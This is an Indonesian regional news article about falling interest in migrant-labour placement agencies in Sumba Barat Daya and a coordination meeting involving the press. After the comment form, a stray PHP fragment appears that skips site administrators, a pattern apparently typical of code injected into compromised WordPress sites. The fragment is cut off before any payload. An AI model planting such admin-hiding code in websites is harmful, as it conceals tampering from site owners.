Ekonomi

Minat Pencari Kerja Tahun ini Melorot Drastis, Forum PJTKI SBD Gelar Rakor Kolaborasi Libatkan Unsur Pers

×

Minat Pencari Kerja Tahun ini Melorot Drastis, Forum PJTKI SBD Gelar Rakor Kolaborasi Libatkan Unsur Pers

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Tahun ini perusahaan jasa tenaga kerja yang beroperasi di Kabupaten Sumba Barat Daya mengalami paceklik peminat pencari kerja.

Kondisi ini menyebabkan aktivitas perusahaan penyalur jasa tenaga kerja di kabupaten ini mengalami kelesuan luar biasa.

Ketua Forum PJTKI Kabupaten SBD, Gabriel Malo Ngongo. ( Foto Menara Sumba )

Hingga awal November 2025 PJTKI yang ada di Sumba Barat Daya hanya membukukan catatan 263 orang tenaga kerja yang diproses keberangkatannya ke sejumlah tujuan baik dalam maupun luar negeri.

Menyikapi kondisi ini, Forum PJTKI Kabupaten SBD menggelar rapat koordinasi yang melibatkan Dinas Tenaga Kerja dan Transmigrasi (Nakertrans) Kabupaten SBD, Kantor P4MI Kabupaten SBD, dan sejumlah media.

Rapat yang berlangsung Rabu (04/11/2025) dihadiri Plt. Kepala Dinas Nakertrans Kabupaten SBD, Hermanus Horo, SIP, Kepala Kantor P4MI Tambolaka, Oscar dan Cunha, Ketua Forum PJTKI Kabupaten SBD, Gabriel Malo Ngongo, perwakilan sejumlah PJTKI, dan beberapa awak media.

Ketua Forum PJTKI Kabupaten SBD, Gabriel Malo Ngongo menyampaikan, minat pencari kerja baik luar negeri maupun dalam negeri menurun drastis.

Pihaknya berharap melalui rapat koordinasi yang digelar hari itu, bisa merumuskan kesimpulan untuk membenahi kondisi paceklik ini.

“Mari introspeksi untuk menyatukan pikiran, menanggalkan ego pribadi dengan menyikapi persoalan secara bijak sehingga bursa ketenagakerjaan kembali bergairah,” ajaknya.

Ia menyebut, Sumba Barat Daya dikenal sebagai lumbung penyuplai tenaga kerja, baik untuk kebutuhan dalam negeri maupun luar negeri.

SBD populer tidak saja di ranah lokal NTT, melainkan tingkat nasional dengan predikat sebagai lumbung Pekerja Migran Indonesia (PMI).

Salah seorang pengurus PJTKI sedang menyampaikan pendapat dalam rapat koordinasi ini. ( Foto Menara Sumba )

“Jika lumbung ini sudah bocor, apa lagi yang bisa kita perbuat? Poin inilah yang harus kita introspeksi bersama pada hari ini,” ujarnya lagi.

Sosok yang sudah malang melintang berkecimpung mengelola PJTKI selama 20 lebih tahun ini tidak memungkiri jika salah satu penyebab merosotnya minat pencari kerja tahun ini akibat pemberitaan media.

Berita wartawan yang lebih gencar menyoroti berbagai kasus Tindak Pidana Perdagangan Orang (TPPO) memunculkan kecemasan publik dengan sentimen negatif.

Akibatnya, banyak pencari kerja yang mengandalkan jasa sebagai PMI berpikir dua kali untuk melamar lagi di sejumlah PJTKI yang beroperasi di Kabupaten SBD.

“Karena itu pada hari ini kita ajak rekan-rekan pers untuk ikut ambil bagian menyumbang pikiran bagi perbaikan kondisi yang sepi peminat ini,” sambungnya.

Dia berharap, PJTKI yang ada di Kabupaten SBD menjalin kemitraan positif untuk mengembalikan pamor perusahaan penyalur PMI yang terlanjur tiarap oleh pemberitaan miring berlabel human trafficking.

“Salah satunya ajak teman-teman wartawan mewawancarai dan menulis PMI yang sudah berhasil meningkatkan ekonomi keluarga,” imbuhnya.

Gabriel menyoroti pentingnya persamaan persepsi lewat kerja kolaborasi, baik dalam pembenahan tata kelola dan rekrutmen PMI, maupun sosialisasi publik yang melibatkan media massa.

Minimal, kata dia lagi, kondisi tahun depan bisa kembali normal dan iklim bursa tenaga kerja di SBD kembali menggeliat.

“Kalau boleh kita target tahun depan lebih banyak dari angka capaian tahun lalu sejumlah 403 orang,” tandas Gabriel. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>